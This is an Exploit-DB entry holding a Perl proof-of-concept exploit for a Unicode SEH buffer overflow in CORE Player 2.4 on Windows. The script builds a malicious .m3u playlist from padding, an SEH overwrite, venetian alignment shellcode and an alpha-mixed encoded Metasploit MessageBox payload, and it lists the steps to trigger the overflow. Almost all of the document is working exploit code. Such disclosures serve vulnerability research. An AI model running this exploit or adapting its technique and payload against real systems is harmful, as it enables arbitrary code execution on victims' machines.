Exploit-DB #17001
Description: CORE MultiMedia Suite 2011 CORE Player 2.4 - '.m3u' Local Buffer Overflow
Type: local
Platform: windows
Date: 2011-03-18
Author: Rh0

Exploit:
# Exploit: CORE Multimedia Suite 2011 CORE Player 2.4 Unicode SEH Buffer Overflow Exploit (.m3u)
# Date: 18.03.11
# Author: Rh0[at]z1p.biz
# Software Link: http://mjm-soft.zzl.org/CORE_MMS_2011.zip
# Version: 2.4
# Tested on: WinXP Pro SP3 EN (VirtualBox)

## The application does not crash immediately:
## Open Core Player, go to FILE->LOAD LIST, load the playlist and
## close the program. ==> Reopening it triggers the buffer overflow. <==
## Seems that the playlist gets saved under Load.m3l in the
## programs directory, and everytime the player is opened, the malicious
## playlist triggers the overflow.
## To be able to start the player normally, remove the Load.m3l file

print " [*] Core Player 2.4 Unicode SEH Buffer Overflow Exploit [*] \n\n";

$junk = "C:\\";
$junk .= "A" x 533;		# 536 bytes until nseh overwrite
$nseh = "\x90\xcf"; 	# becomes nop; add bh,cl (pad)
$seh = "\x59\x4a";		# pop;pop;ret; unicode compatible, 0x004a0059 @ core player.exe

## venetian shellcode 
$vSC = 
"\x71".			#
"\x58".			# pop eax (eax should then be 0x0012CC14)
"\x71".
"\x5d".			# pop ebp
"\x71".
"\xbb\x08\x41". # mov ebx,0x41000800
"\xf8".			# add al,bh
"\x71".		
"\xbb\x04\x41". # mov ebx,0x41000400
"\xfc".			# add ah,bh		(eax should now point to the payload)
"\x71".
"\x50".			# push eax
"\x71".
"\xc3";			# return

## msf MessageBox alpha_mixed + unicode upper
$payload =
"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAI".
"AXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBTIK0IKXNXYT".
"0L4QJPJPJPJPJPJPJPJPJPJPJPJQ3PCPCPCPCQ3P7PRQIQZQ1PXR0P0Q1P0Q1RKQ1Q1PQP".
"2Q1PBP2Q2PBP0PBPBQ1Q2PXR0P8Q1Q2CEPJQ9PXPYPXRKPMPKPNP9QBPTQ5CDQ9RDR4RQP".
"ZRRPOQ2PCPGPEC1PKT9R2Q4PLPKPQQQPPP0PLPKQ3Q6QDPLPLPKR1C6PGRLPLPKPRQVPVQ".
"XPNRKPCPNPQP0PNRKPVPVQ5QXPPPOQ7C8R2PUPXCCR1Q9PEPQQHR1PKPOQHC1PCR0PNRKR".
"0RLR1P4PGQDPLPKQ3T5Q7PLPLPKPVP4PQP8PRPXPCP1QHQZPNRKPQPZPTQHPLPKQ3QZPGP".
"PPCP1PZPKPKQCQ7Q4PQPYPLPKPGQ4PLPKPGT1PZPNQ5C1PIROQFR1PKRPPKPLPNPLPOCDQ".
"9R0R2QDQ3P7Q9PQQJROPTPMR6QQPOP7PZPKQJPTQ7PKPCPLQ7R4Q7QHQ3Q5PIT1PNRKR0Q".
"JPVQ4QFQQQJPKPCQFPLPKPVRLPPPKPLPKPQPJQ7RLPGT1PZPKPNRKQFQTPNRKR6QQQJPHP".
"KP9R2QTQ7R4PGRLPCR1POP3POQ2R4PHPVQ9PNP4PORYQHQUPLPIPIPRQ5P8PNRNR0PNR4P".
"NPXRLR0PRPMP8PMPOQ9ROPKPOQ9ROPOCIPCCEQFC4PMRKQ3PNQHR8QJPBR2QCPKP7Q5PLR".
"6Q4QFP2PZQ8PLPNPIROQ9ROPIROPOCIPQR5Q7T8Q5P8PPRLPPRLQ5RPPRQQPQCHR0P3R0P".
"2R4RNPEP4Q5P8R4P5PCQ3R2PER0T2PLQ8R1PLPGQDQ5QJPNQYPXQVPRCFPKPOQFP5Q7CDP".
"KP9PKCBQFP0POPKPNPHQ9P2PPPMPMRLPKP7PEPLPGPTPQQ2PICHQ5P1PKPOPKPOPKPOPQT".
"8Q5P4PRCHPERPPQP0Q3PXPPROQ5P9QDP4PEP5PEP8PRQUPPT8R0T0QBPLPPP1Q9PKPLQ8P".
"CRLR1P4PVC9PMQIQHRCR1RXR1PHPERPPET0PQP0R2Q8Q3PYR2QDPET0Q5RZPPC8R0T8R0R".
"PPRPLPPROR0RHPQT4R0C5PERPPPQ5R1RXPRPNR2PIPRC3PPROQBPHQBQUQ3T8R1P0PPPUP".
"EP8Q3QEQDP2Q5RPQFP3PCR8R2RPPRPLPEP1R0RYR2PHPPROQ3Q2QBQ5PERPR1CHPGPPPEC".
"JR1P0R0Q3PPP1PIR9PNC8R0PLQFPDPET4PKP9PMP1QDRQPNP2QBPJPCRPQBRSPRT1R6P2Q".
"9ROPNP0QFR1POP0R6P0PKPOQ3C5Q7CHQ1Q1AA";

open(F,">exploit.m3u");
$buffer .= $junk.$nseh.$seh.$vSC.$payload;
print F $buffer;
close(F);

print " [*] Open Core Player\n";
print " [*] Load the playlist exploit.m3u \n"; 
print " [*] Close the program\n";
print " [*] Reopen it\n";
print " [*] A Messagebox should pop up.\n\n";
print " [*] Enter to continue [*] ";
<>;